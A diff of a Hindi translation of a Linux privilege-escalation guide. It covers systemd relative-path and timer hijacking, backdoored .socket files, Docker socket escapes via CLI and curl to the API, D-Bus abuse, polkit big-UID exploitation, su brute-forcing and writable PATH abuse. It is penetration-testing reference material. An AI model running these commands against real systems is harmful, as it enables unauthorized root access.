**systemd** द्वारा उपयोग किए जाने वाले PATH को निम्न के साथ देख सकते हैं: ```bash systemctl show-environment ``` -यदि आप पाते हैं कि आप पथ के किसी भी फ़ोल्डर में **लिख** सकते हैं, तो आप **अधिकार बढ़ाने** में सक्षम हो सकते हैं। आपको सेवा कॉन्फ़िगरेशन फ़ाइलों में **सापेक्ष पथों** की खोज करनी होगी जैसे: +यदि आप पथ के किसी भी फ़ोल्डर में **write** कर सकते हैं तो आप संभवतः **escalate privileges** कर पाएंगे। आपको ऐसी फ़ाइलों में **relative paths being used on service configurations** खोजनी चाहिए, जैसे: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -फिर, एक **कार्यकारी** बनाएं जिसका **नाम उस सापेक्ष पथ बाइनरी** के समान हो जो systemd PATH फ़ोल्डर के अंदर है जिसमें आप लिख सकते हैं, और जब सेवा को कमजोर क्रिया (**Start**, **Stop**, **Reload**) को निष्पादित करने के लिए कहा जाता है, तो आपका **बैकडोर निष्पादित होगा** (अधिकारहीन उपयोगकर्ता आमतौर पर सेवाओं को शुरू/रोक नहीं सकते लेकिन जांचें कि क्या आप `sudo -l` का उपयोग कर सकते हैं)। +फिर, उस systemd PATH फ़ोल्डर के अंदर एक **निष्पादन योग्य** बनाएं जिसका नाम उसी relative path binary के समान हो, और जब सेवा से vulnerable action (**Start**, **Stop**, **Reload**) करने को कहा जाएगा, आपका **backdoor** execute हो जाएगा (अनप्रिविलेज्ड उपयोगकर्ता आमतौर पर सेवाएँ start/stop नहीं कर सकते — पर जाँच करें कि क्या आप `sudo -l` का उपयोग कर सकते हैं)। -**सेवाओं के बारे में अधिक जानें `man systemd.service` के साथ।** +**services के बारे में और जानने के लिए `man systemd.service` देखें।** ## **Timers** -**Timers** systemd यूनिट फ़ाइलें हैं जिनका नाम `**.timer**` में समाप्त होता है जो `**.service**` फ़ाइलों या घटनाओं को नियंत्रित करता है। **Timers** को क्रॉन के विकल्प के रूप में उपयोग किया जा सकता है क्योंकि इनमें कैलेंडर समय घटनाओं और मोनोटोनिक समय घटनाओं के लिए अंतर्निहित समर्थन होता है और इन्हें असिंक्रोनस रूप से चलाया जा सकता है। +**Timers** systemd की unit फ़ाइलें हैं जिनके नाम `**.timer**` पर समाप्त होते हैं और जो `**.service**` फ़ाइलों या events को नियंत्रित करती हैं। **Timers** को cron के विकल्प के रूप में इस्तेमाल किया जा सकता है क्योंकि इनमें calendar time events और monotonic time events के लिए built‑in सपोर्ट होता है और ये asynchronously चल सकते हैं। -आप सभी टाइमर्स को सूचीबद्ध कर सकते हैं: +आप सभी timers को सूचीबद्ध करने के लिए निम्न चला सकते हैं: ```bash systemctl list-timers --all ``` -### Writable timers +### लिखने योग्य टाइमर -यदि आप एक टाइमर को संशोधित कर सकते हैं, तो आप इसे systemd.unit के कुछ उदाहरणों (जैसे `.service` या `.target`) को निष्पादित करने के लिए बना सकते हैं। +अगर आप किसी टाइमर को संशोधित कर सकते हैं तो आप इसे systemd.unit की कुछ मौजूदा यूनिट्स (जैसे `.service` या `.target`) को निष्पादित करने के लिए बना सकते हैं। ```bash Unit=backdoor.service ``` -डॉक्यूमेंटेशन में आप पढ़ सकते हैं कि यूनिट क्या है: +In the documentation you can read what the Unit is: -> वह यूनिट जिसे सक्रिय करना है जब यह टाइमर समाप्त होता है। तर्क एक यूनिट नाम है, जिसका उपसर्ग ".timer" नहीं है। यदि निर्दिष्ट नहीं किया गया है, तो यह मान उस सेवा का डिफ़ॉल्ट होता है जिसका नाम टाइमर यूनिट के समान होता है, केवल उपसर्ग को छोड़कर। (ऊपर देखें।) यह अनुशंसा की जाती है कि सक्रिय की जाने वाली यूनिट का नाम और टाइमर यूनिट का नाम समान रूप से नामित किया जाए, केवल उपसर्ग को छोड़कर। +> यह unit है जिसे इस timer के समाप्त होने पर activate किया जाता है। आर्ग्युमेंट एक unit name है, जिसकी suffix ".timer" नहीं है। यदि निर्दिष्ट नहीं किया गया है, तो यह मान default रूप से उसी नाम की service को लेता है जैसे timer unit का नाम है, सिवाय suffix के। (ऊपर देखें.) सुझाया जाता है कि जो unit activate किया जाता है और timer unit का unit name, दोनों एक समान हों, केवल suffix अलग हो। -इसलिए, इस अनुमति का दुरुपयोग करने के लिए आपको चाहिए: +Therefore, to abuse this permission you would need to: -- कुछ systemd यूनिट (जैसे `.service`) खोजें जो **एक लिखने योग्य बाइनरी** को **निष्पादित** कर रही है -- कुछ systemd यूनिट खोजें जो **एक सापेक्ष पथ** को **निष्पादित** कर रही है और आपके पास **systemd PATH** पर **लिखने की अनुमति** है (उस निष्पादन योग्य की नकल करने के लिए) +- किसी systemd unit (जैसे `.service`) को खोजें जो **executing a writable binary** हो +- किसी systemd unit को खोजें जो **executing a relative path** हो और आपके पास **writable privileges** उस **systemd PATH** पर हों (ताकि आप उस executable का impersonate कर सकें) -**टाइमर्स के बारे में अधिक जानें `man systemd.timer` के साथ।** +**Learn more about timers with `man systemd.timer`.** ### **टाइमर सक्षम करना** -टाइमर को सक्षम करने के लिए आपको रूट अनुमतियाँ चाहिए और निष्पादित करना होगा: +टाइमर enable करने के लिए आपको root privileges चाहिए और निम्न command चलाना होगा: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` Note the **timer** is **activated** by creating a symlink to it on `/etc/systemd/system/.wants/.timer` -## Sockets +## सॉकेट्स -Unix Domain Sockets (UDS) **प्रक्रिया संचार** को समान या विभिन्न मशीनों पर क्लाइंट-सेर्वर मॉडल के भीतर सक्षम करते हैं। वे इंटर-कंप्यूटर संचार के लिए मानक Unix डिस्क्रिप्टर फ़ाइलों का उपयोग करते हैं और `.socket` फ़ाइलों के माध्यम से सेट अप किए जाते हैं। +Unix Domain Sockets (UDS) क्लाइंट-सर्वर मॉडल में एक ही या अलग मशीनों पर **प्रोसेस कम्युनिकेशन** सक्षम करते हैं। ये इंटर-कंप्यूटर संचार के लिए मानक Unix descriptor फ़ाइलों का उपयोग करते हैं और `.socket` फ़ाइलों के माध्यम से सेटअप किए जाते हैं। Sockets को `.socket` फ़ाइलों का उपयोग करके कॉन्फ़िगर किया जा सकता है। -**सॉकेट के बारे में अधिक जानें `man systemd.socket` के साथ।** इस फ़ाइल के अंदर, कई दिलचस्प पैरामीटर कॉन्फ़िगर किए जा सकते हैं: +**Learn more about sockets with `man systemd.socket`.** इस फ़ाइल के अंदर कई रोचक पैरामीटर कॉन्फ़िगर किए जा सकते हैं: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: ये विकल्प अलग हैं लेकिन एक सारांश का उपयोग **यह इंगित करने के लिए किया जाता है कि यह सॉकेट पर कहाँ सुनने जा रहा है** (AF_UNIX सॉकेट फ़ाइल का पथ, सुनने के लिए IPv4/6 और/या पोर्ट नंबर, आदि) -- `Accept`: एक बूलियन तर्क लेता है। यदि **सत्य**, तो **प्रत्येक आने वाले कनेक्शन के लिए एक सेवा उदाहरण उत्पन्न होता है** और केवल कनेक्शन सॉकेट इसे पास किया जाता है। यदि **झूठ**, तो सभी सुनने वाले सॉकेट स्वयं **शुरू की गई सेवा इकाई** को पास किए जाते हैं, और सभी कनेक्शनों के लिए केवल एक सेवा इकाई उत्पन्न होती है। यह मान डाटाग्राम सॉकेट और FIFOs के लिए अनदेखा किया जाता है जहाँ एकल सेवा इकाई बिना शर्त सभी आने वाले ट्रैफ़िक को संभालती है। **डिफ़ॉल्ट रूप से झूठा**। प्रदर्शन कारणों से, नए डेमनों को केवल इस तरीके से लिखने की सिफारिश की जाती है जो `Accept=no` के लिए उपयुक्त हो। -- `ExecStartPre`, `ExecStartPost`: एक या एक से अधिक कमांड लाइनों को लेता है, जो **सुनने वाले** **सॉकेट**/FIFOs के **निर्माण** और बंधन से पहले या बाद में **निष्पादित** किए जाते हैं। कमांड लाइन का पहला टोकन एक पूर्ण फ़ाइल नाम होना चाहिए, उसके बाद प्रक्रिया के लिए तर्क होते हैं। -- `ExecStopPre`, `ExecStopPost`: अतिरिक्त **कमांड** जो **सुनने वाले** **सॉकेट**/FIFOs के **बंद** और हटाए जाने से पहले या बाद में **निष्पादित** किए जाते हैं। -- `Service`: **आने वाले ट्रैफ़िक** पर **सक्रिय करने** के लिए **सेवा** इकाई नाम निर्दिष्ट करता है। यह सेटिंग केवल उन सॉकेट्स के लिए अनुमति है जिनका Accept=no है। यह उस सेवा के लिए डिफ़ॉल्ट है जिसका नाम सॉकेट के समान है (स suffixed को प्रतिस्थापित किया गया है)। अधिकांश मामलों में, इस विकल्प का उपयोग करना आवश्यक नहीं होना चाहिए। +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: ये विकल्प अलग-अलग हैं लेकिन सारांश में यह **सूचित करने** के लिए होते हैं कि यह socket कहाँ सुनने वाला है (AF_UNIX socket फ़ाइल का पथ, सुनने के लिए IPv4/6 और/या पोर्ट नंबर, आदि)। +- `Accept`: boolean argument लेता है। अगर **true** है, तो हर इनकमिंग कनेक्शन के लिए **एक service instance spawn** होता है और केवल कनेक्शन socket को ही इसे पास किया जाता है। अगर **false** है, तो सभी listening sockets स्वयं **started service unit को पास** किए जाते हैं, और सभी कनेक्शनों के लिए केवल एक service unit spawn होता है। यह मान datagram sockets और FIFOs के लिए अनदेखा कर दिया जाता है जहाँ एकल service unit बिना शर्त सभी इनकमिंग ट्रैफ़िक को हैंडल करता है। **Defaults to false**। प्रदर्शन कारणों से, नए daemons को केवल `Accept=no` के अनुकूल लिखने की सलाह दी जाती है। +- `ExecStartPre`, `ExecStartPost`: एक या अधिक command lines लेते हैं, जिन्हें listening **sockets**/FIFOs के **बनने** और bind होने से पहले या बाद में क्रमशः **execute** किया जाता है। कमांड लाइन का पहला token एक absolute filename होना चाहिए, उसके बाद process के arguments। +- `ExecStopPre`, `ExecStopPost`: अतिरिक्त **commands** जो listening **sockets**/FIFOs के **बंद** और हटाए जाने से पहले या बाद में क्रमशः **execute** होते हैं। +- `Service`: इनकमिंग ट्रैफ़िक पर सक्रिय करने के लिए **service** unit का नाम निर्दिष्ट करता है। यह सेटिंग केवल Accept=no वाले sockets के लिए अनुमति है। यह डिफ़ॉल्ट रूप से उसी नाम वाली service को चुनता है जो socket के समान नाम रखती है (suffix बदलकर)। अधिकांश मामलों में इस विकल्प का उपयोग आवश्यक नहीं होना चाहिए। ### Writable .socket files -यदि आप एक **लिखने योग्य** `.socket` फ़ाइल पाते हैं तो आप `[Socket]` अनुभाग के शुरू में कुछ इस तरह जोड़ सकते हैं: `ExecStartPre=/home/kali/sys/backdoor` और बैकडोर सॉकेट के निर्माण से पहले निष्पादित होगा। इसलिए, आपको **संभवतः मशीन के पुनरारंभ होने की प्रतीक्षा करनी होगी।**\ -_ध्यान दें कि सिस्टम को उस सॉकेट फ़ाइल कॉन्फ़िगरेशन का उपयोग करना चाहिए या बैकडोर निष्पादित नहीं होगा_ +यदि आप किसी **writable** `.socket` फ़ाइल को पाते हैं तो आप `[Socket]` सेक्शन की शुरुआत में कुछ इस तरह जोड़ सकते हैं: `ExecStartPre=/home/kali/sys/backdoor` और backdoor socket बनाए जाने से पहले execute हो जाएगा। इसलिए, **संभवतः आपको मशीन के reboot होने तक प्रतीक्षा करनी पड़ेगी।**\ +_Note that the system must be using that socket file configuration or the backdoor won't be executed_ ### Writable sockets -यदि आप **किसी भी लिखने योग्य सॉकेट की पहचान करते हैं** (_अब हम Unix Sockets के बारे में बात कर रहे हैं और कॉन्फ़िगरेशन `.socket` फ़ाइलों के बारे में नहीं_), तो **आप उस सॉकेट के साथ संवाद कर सकते हैं** और शायद एक भेद्यता का शोषण कर सकते हैं। +यदि आप किसी **writable socket** की पहचान करते हैं (_यहाँ हम Unix Sockets की बात कर रहे हैं न कि config `.socket` फ़ाइलों की_), तो आप उस socket के साथ **communicate** कर सकते हैं और संभवतः किसी vulnerability का exploit कर सकते हैं। ### Enumerate Unix Sockets ```bash @@ -475,57 +475,57 @@ nc -uU /tmp/socket #Connect to UNIX-domain datagram socket #apt-get install socat socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type ``` -**शोषण उदाहरण:** +**Exploitation example:** {{#ref}} socket-command-injection.md {{#endref}} -### HTTP सॉकेट +### HTTP sockets -ध्यान दें कि कुछ **सॉकेट HTTP** अनुरोधों के लिए सुन रहे हो सकते हैं (_मैं .socket फ़ाइलों की बात नहीं कर रहा हूँ बल्कि उन फ़ाइलों की बात कर रहा हूँ जो यूनिक्स सॉकेट के रूप में कार्य करती हैं_)। आप इसे इस तरह जांच सकते हैं: +ध्यान दें कि कुछ **sockets listening for HTTP** requests हो सकते हैं (_मैं .socket files की बात नहीं कर रहा हूँ बल्कि उन फ़ाइलों की बात कर रहा हूँ जो unix sockets की तरह काम करती हैं_). आप इसे निम्न कमांड से जांच सकते हैं: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -यदि सॉकेट **HTTP** अनुरोध के साथ **प्रतिक्रिया** करता है, तो आप इसके साथ **संवाद** कर सकते हैं और शायद **कुछ कमजोरियों का लाभ** उठा सकते हैं। +यदि socket **responds with an HTTP** request, तो आप इसके साथ **communicate** कर सकते हैं और शायद **exploit some vulnerability**। -### Writable Docker Socket +### लिखने योग्य Docker Socket -Docker सॉकेट, जो अक्सर `/var/run/docker.sock` पर पाया जाता है, एक महत्वपूर्ण फ़ाइल है जिसे सुरक्षित किया जाना चाहिए। डिफ़ॉल्ट रूप से, यह `root` उपयोगकर्ता और `docker` समूह के सदस्यों द्वारा लिखा जा सकता है। इस सॉकेट तक लेखन पहुंच होना विशेषाधिकार वृद्धि का कारण बन सकता है। यहाँ बताया गया है कि यह कैसे किया जा सकता है और वैकल्पिक तरीके यदि Docker CLI उपलब्ध नहीं है। +The Docker socket, often found at `/var/run/docker.sock`, is a critical फ़ाइल that should be secured. By default, it's writable by the `root` user and members of the `docker` group. इस socket पर write access होने से privilege escalation हो सकता है। यहाँ बताया गया है कि यह कैसे किया जा सकता है और वैकल्पिक तरीके यदि Docker CLI उपलब्ध न हो तो। #### **Privilege Escalation with Docker CLI** -यदि आपके पास Docker सॉकेट तक लेखन पहुंच है, तो आप निम्नलिखित कमांड का उपयोग करके विशेषाधिकार बढ़ा सकते हैं: +If you have write access to the Docker socket, you can escalate privileges using the following commands: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -ये कमांड आपको होस्ट के फ़ाइल सिस्टम पर रूट-स्तरीय पहुँच के साथ एक कंटेनर चलाने की अनुमति देती हैं। +ये कमांड आपको host के फाइल सिस्टम में root-लेवल एक्सेस के साथ एक container चलाने की अनुमति देते हैं। -#### **डॉकर एपीआई का सीधे उपयोग करना** +#### **Docker API का सीधे उपयोग** -उन मामलों में जहाँ डॉकर CLI उपलब्ध नहीं है, डॉकर सॉकेट को डॉकर एपीआई और `curl` कमांड का उपयोग करके अभी भी संशोधित किया जा सकता है। +ऐसे मामलों में जहाँ Docker CLI उपलब्ध नहीं है, Docker socket को अभी भी Docker API और `curl` कमांड्स का उपयोग करके manipulate किया जा सकता है। -1. **डॉकर इमेज़ की सूची:** उपलब्ध इमेज़ की सूची प्राप्त करें। +1. **List Docker Images:** उपलब्ध images की सूची प्राप्त करें। ```bash curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **एक कंटेनर बनाएं:** एक अनुरोध भेजें ताकि एक कंटेनर बनाया जा सके जो होस्ट सिस्टम की रूट डायरेक्टरी को माउंट करे। +2. **Create a Container:** एक ऐसा container बनाने का request भेजें जो host सिस्टम की root directory को mount करे। ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create ``` -नए बनाए गए कंटेनर को शुरू करें: +नया बनाया गया container स्टार्ट करें: ```bash curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **कंटेनर से जुड़ें:** कंटेनर से कनेक्शन स्थापित करने के लिए `socat` का उपयोग करें, जिससे इसके भीतर कमांड निष्पादन सक्षम हो सके। +3. **Attach to the Container:** container से कनेक्शन स्थापित करने के लिए `socat` का उपयोग करें, जिससे उसमें कमांड execute कर सकें। ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -535,31 +535,31 @@ Connection: Upgrade Upgrade: tcp ``` -`socat` कनेक्शन सेट करने के बाद, आप होस्ट के फ़ाइल सिस्टम पर रूट-स्तरीय पहुँच के साथ सीधे कंटेनर में कमांड निष्पादित कर सकते हैं। +`socat` कनेक्शन सेट करने के बाद, आप container में सीधे कमांड चला सकते हैं और host के filesystem पर root-लेवल एक्सेस पा सकते हैं। -### अन्य +### Others -ध्यान दें कि यदि आपके पास डॉकर सॉकेट पर लिखने की अनुमति है क्योंकि आप **`docker` समूह के अंदर हैं** तो आपके पास [**अधिकार बढ़ाने के अधिक तरीके हैं**](interesting-groups-linux-pe/index.html#docker-group)। यदि [**डॉकर एपीआई किसी पोर्ट पर सुन रहा है** तो आप इसे भी समझौता कर सकते हैं](../../network-services-pentesting/2375-pentesting-docker.md#compromising)। +ध्यान दें कि यदि आपके पास docker socket पर write permissions हैं क्योंकि आप **inside the group `docker`** हैं तो आपके पास [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group) हैं। यदि [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising)। -**डॉकर से बाहर निकलने या इसे अधिकार बढ़ाने के लिए दुरुपयोग करने के अधिक तरीकों की जाँच करें**: +देखें **more ways to break out from docker or abuse it to escalate privileges** in: {{#ref}} docker-security/ {{#endref}} -## Containerd (ctr) अधिकार बढ़ाना +## Containerd (ctr) privilege escalation -यदि आप पाते हैं कि आप **`ctr`** कमांड का उपयोग कर सकते हैं तो कृपया निम्नलिखित पृष्ठ पढ़ें क्योंकि **आप इसे अधिकार बढ़ाने के लिए दुरुपयोग कर सकते हैं**: +यदि आपको ऐसा लगता है कि आप **`ctr`** command का उपयोग कर सकते हैं तो निम्न पेज पढ़ें क्योंकि **you may be able to abuse it to escalate privileges**: {{#ref}} containerd-ctr-privilege-escalation.md {{#endref}} -## **RunC** अधिकार बढ़ाना +## **RunC** privilege escalation -यदि आप पाते हैं कि आप **`runc`** कमांड का उपयोग कर सकते हैं तो कृपया निम्नलिखित पृष्ठ पढ़ें क्योंकि **आप इसे अधिकार बढ़ाने के लिए दुरुपयोग कर सकते हैं**: +यदि आपको ऐसा लगता है कि आप **`runc`** command का उपयोग कर सकते हैं तो निम्न पेज पढ़ें क्योंकि **you may be able to abuse it to escalate privileges**: {{#ref}} @@ -568,15 +568,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus एक जटिल **इंटर-प्रोसेस कम्युनिकेशन (IPC) सिस्टम** है जो अनुप्रयोगों को प्रभावी ढंग से बातचीत करने और डेटा साझा करने में सक्षम बनाता है। इसे आधुनिक लिनक्स सिस्टम को ध्यान में रखते हुए डिज़ाइन किया गया है, यह विभिन्न प्रकार के अनुप्रयोग संचार के लिए एक मजबूत ढांचा प्रदान करता है। +D-Bus एक परिष्कृत **inter-Process Communication (IPC) system** है जो applications को कुशलतापूर्वक इंटरैक्ट और डेटा साझा करने में सक्षम बनाता है। आधुनिक Linux सिस्टम को ध्यान में रखकर डिज़ाइन किया गया यह विभिन्न प्रकार के application communication के लिए एक मजबूत फ्रेमवर्क प्रदान करता है। -यह प्रणाली बहुपरकारी है, जो प्रक्रियाओं के बीच डेटा विनिमय को बढ़ाने के लिए बुनियादी IPC का समर्थन करती है, जो **सुधारित UNIX डोमेन सॉकेट्स** की याद दिलाती है। इसके अलावा, यह घटनाओं या संकेतों का प्रसारण करने में मदद करती है, जिससे सिस्टम घटकों के बीच निर्बाध एकीकरण को बढ़ावा मिलता है। उदाहरण के लिए, एक आने वाली कॉल के बारे में ब्लूटूथ डेमन से एक संकेत एक संगीत प्लेयर को म्यूट करने के लिए प्रेरित कर सकता है, जिससे उपयोगकर्ता अनुभव में सुधार होता है। इसके अतिरिक्त, D-Bus एक दूरस्थ ऑब्जेक्ट सिस्टम का समर्थन करता है, जो अनुप्रयोगों के बीच सेवा अनुरोधों और विधि कॉल को सरल बनाता है, पारंपरिक रूप से जटिल प्रक्रियाओं को सुगम बनाता है। +यह सिस्टम बहुमुखी है, सरल IPC सपोर्ट करता है जो processes के बीच डेटा एक्सचेंज को बढ़ाता है, और यह **enhanced UNIX domain sockets** जैसी कार्यक्षमता याद दिलाता है। इसके अलावा, यह events या signals के ब्रॉडकास्ट में मदद करता है, जिससे सिस्टम कॉम्पोनेन्ट्स के बीच seamless इंटीग्रेशन संभव होता है। उदाहरण के लिए, Bluetooth daemon से आने वाला एक signal किसी music player को mute करने के लिए प्रेरित कर सकता है, जिससे user experience बेहतर होता है। अतिरिक्त रूप से, D-Bus एक remote object system को सपोर्ट करता है, जो applications के बीच service requests और method invocations को सरल बनाता है, और पारंपरिक रूप से जटिल प्रक्रियाओं को streamline करता है। -D-Bus एक **अनुमति/निषेध मॉडल** पर काम करता है, जो संदेश अनुमतियों (विधि कॉल, संकेत उत्सर्जन, आदि) का प्रबंधन करता है जो नीति नियमों के मिलन के संचयी प्रभाव के आधार पर होता है। ये नीतियाँ बस के साथ इंटरैक्शन को निर्दिष्ट करती हैं, जो संभावित रूप से इन अनुमतियों के शोषण के माध्यम से अधिकार बढ़ाने की अनुमति देती हैं। +D-Bus एक **allow/deny model** पर काम करता है, जो matching policy rules के cumulative प्रभाव के आधार पर message permissions (method calls, signal emissions, आदि) को manage करता है। ये policies bus के साथ इंटरैक्शन को specify करती हैं, और इन permissions के exploit होने पर privilege escalation हो सकता है। -`/etc/dbus-1/system.d/wpa_supplicant.conf` में ऐसी नीति का एक उदाहरण प्रदान किया गया है, जो रूट उपयोगकर्ता के लिए `fi.w1.wpa_supplicant1` से संदेश भेजने, प्राप्त करने और स्वामित्व करने की अनुमति को विस्तृत करता है। +एक उदाहरण नीति `/etc/dbus-1/system.d/wpa_supplicant.conf` में दिया गया है, जो root user को `fi.w1.wpa_supplicant1` से messages own, send और receive करने की permissions का विवरण देता है। -बिना निर्दिष्ट उपयोगकर्ता या समूह वाली नीतियाँ सार्वभौमिक रूप से लागू होती हैं, जबकि "डिफ़ॉल्ट" संदर्भ नीतियाँ उन सभी पर लागू होती हैं जो अन्य विशिष्ट नीतियों द्वारा कवर नहीं की गई हैं। +यदि किसी नीति में user या group specify नहीं किया गया है तो वह सार्वभौमिक रूप से लागू होती है, जबकि "default" context policies उन सभी पर लागू होती हैं जिन्हें अन्य specific policies कवर नहीं कर रही होती हैं। ```xml @@ -585,7 +585,7 @@ D-Bus एक **अनुमति/निषेध मॉडल** पर का ``` -**यहाँ D-Bus संचार को सूचीबद्ध करने और शोषण करने का तरीका सीखें:** +**यहाँ D-Bus communication को enumerate और exploit करना सीखें:** {{#ref}} @@ -594,9 +594,9 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md ## **नेटवर्क** -नेटवर्क को सूचीबद्ध करना और मशीन की स्थिति का पता लगाना हमेशा दिलचस्प होता है। +नेटवर्क को enumerate करना और मशीन की स्थिति पता लगाना हमेशा दिलचस्प होता है। -### सामान्य सूचीबद्धता +### सामान्य enumeration ```bash #Hostname, hosts and DNS cat /etc/hostname /etc/hosts /etc/resolv.conf @@ -621,14 +621,14 @@ lsof -i ``` ### Open ports -हमेशा उस मशीन पर चल रहे नेटवर्क सेवाओं की जांच करें जिनसे आप पहले इंटरैक्ट नहीं कर सके: +हमेशा उन नेटवर्क सेवाओं को चेक करें जो मशीन पर चल रही हों और जिनके साथ आप एक्सेस करने से पहले इंटरैक्ट नहीं कर पाए थे: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` ### Sniffing -जांचें कि क्या आप ट्रैफ़िक को स्निफ़ कर सकते हैं। यदि आप ऐसा कर सकते हैं, तो आप कुछ क्रेडेंशियल्स प्राप्त कर सकते हैं। +जाँचें कि क्या आप sniff traffic कर सकते हैं। यदि आप कर पाएँ तो आप कुछ credentials प्राप्त कर सकते हैं। ``` timeout 1 tcpdump ``` @@ -636,7 +636,7 @@ timeout 1 tcpdump ### Generic Enumeration -चेक करें **who** आप हैं, आपके पास कौन से **privileges** हैं, सिस्टम में कौन से **users** हैं, कौन से **login** कर सकते हैं और कौन से **root privileges** रखते हैं: +जाँचें कि आप **who** हैं, आपके पास कौन से **privileges** हैं, सिस्टम में कौन से **users** हैं, कौन **login** कर सकते हैं और किसके पास **root privileges** हैं: ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -658,23 +658,23 @@ for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | so #Current user PGP keys gpg --list-keys 2>/dev/null ``` -### Big UID +### बड़ा UID -कुछ Linux संस्करण एक बग से प्रभावित थे जो **UID > INT_MAX** वाले उपयोगकर्ताओं को विशेषाधिकार बढ़ाने की अनुमति देता है। अधिक जानकारी: [यहाँ](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [यहाँ](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) और [यहाँ](https://twitter.com/paragonsec/status/1071152249529884674)।\ -**इसे एक्सप्लॉइट करें**: **`systemd-run -t /bin/bash`** +कुछ Linux वर्ज़न एक बग से प्रभावित थे जो **UID > INT_MAX** वाले उपयोगकर्ताओं को privileges escalate करने की अनुमति देता है। More info: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +**Exploit it** using: **`systemd-run -t /bin/bash`** -### Groups +### समूह -जांचें कि क्या आप किसी **समूह के सदस्य** हैं जो आपको रूट विशेषाधिकार दे सकता है: +जाँचें कि क्या आप **किसी समूह के सदस्य** हैं जो आपको root privileges दे सकता है: {{#ref}} interesting-groups-linux-pe/ {{#endref}} -### Clipboard +### क्लिपबोर्ड -जांचें कि क्या क्लिपबोर्ड के अंदर कुछ दिलचस्प है (यदि संभव हो) +अगर संभव हो तो जाँचें कि क्लिपबोर्ड के अंदर कुछ दिलचस्प तो नहीं। ```bash if [ `which xclip 2>/dev/null` ]; then echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` @@ -691,27 +691,27 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi ``` ### ज्ञात पासवर्ड -यदि आप **पर्यावरण का कोई पासवर्ड जानते हैं** तो **प्रत्येक उपयोगकर्ता के रूप में लॉगिन करने का प्रयास करें** उस पासवर्ड का उपयोग करके। +यदि आप किसी पर्यावरण का कोई भी **पासवर्ड जानते हैं** तो उसी पासवर्ड का उपयोग करके प्रत्येक **उपयोगकर्ता** के रूप में लॉगिन करने का प्रयास करें। ### Su Brute -यदि आपको बहुत शोर करने में कोई आपत्ति नहीं है और `su` और `timeout` बाइनरी कंप्यूटर पर मौजूद हैं, तो आप [su-bruteforce](https://github.com/carlospolop/su-bruteforce) का उपयोग करके उपयोगकर्ता को ब्रूट-फोर्स करने का प्रयास कर सकते हैं।\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) `-a` पैरामीटर के साथ भी उपयोगकर्ताओं को ब्रूट-फोर्स करने का प्रयास करता है। +यदि आपको बहुत शोर करने में आपत्ति नहीं है और कंप्यूटर पर `su` और `timeout` बाइनरीज़ मौजूद हैं, तो आप [su-bruteforce](https://github.com/carlospolop/su-bruteforce) का उपयोग करके उपयोगकर्ता पर brute-force आज़मा सकते हैं।\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) `-a` पैरामीटर के साथ भी उपयोगकर्ताओं पर brute-force करने की कोशिश करता है। -## लिखने योग्य PATH का दुरुपयोग +## Writable PATH का दुरुपयोग ### $PATH -यदि आप पाते हैं कि आप **$PATH के किसी फ़ोल्डर के अंदर लिख सकते हैं** तो आप **लिखने योग्य फ़ोल्डर के अंदर एक बैकडोर बनाने** के द्वारा विशेषाधिकार बढ़ा सकते हैं, जिसका नाम किसी कमांड का हो जो किसी अन्य उपयोगकर्ता (आदर्श रूप से रूट) द्वारा निष्पादित किया जाएगा और जो **आपके लिखने योग्य फ़ोल्डर के पहले स्थित फ़ोल्डर से लोड नहीं होता** है। +यदि आप पाते हैं कि आप **$PATH के किसी फ़ोल्डर के भीतर लिख सकते हैं** तो आप विशेषाधिकार बढ़ा सकते हैं — **लिखने योग्य फ़ोल्डर के अंदर एक backdoor बनाकर** जिसका नाम उस कमांड जैसा होगा जिसे किसी अन्य उपयोगकर्ता (आदर्श रूप से root) द्वारा चलाया जाना है और जो **आपके लिखने योग्य फ़ोल्डर से पहले स्थित किसी फ़ोल्डर से लोड नहीं होता**। ### SUDO और SUID -आपको sudo का उपयोग करके कुछ कमांड निष्पादित करने की अनुमति दी जा सकती है या उनके पास suid बिट हो सकता है। इसे जांचने के लिए: +आपको sudo का उपयोग करके कुछ कमांड चलाने की अनुमति मिल 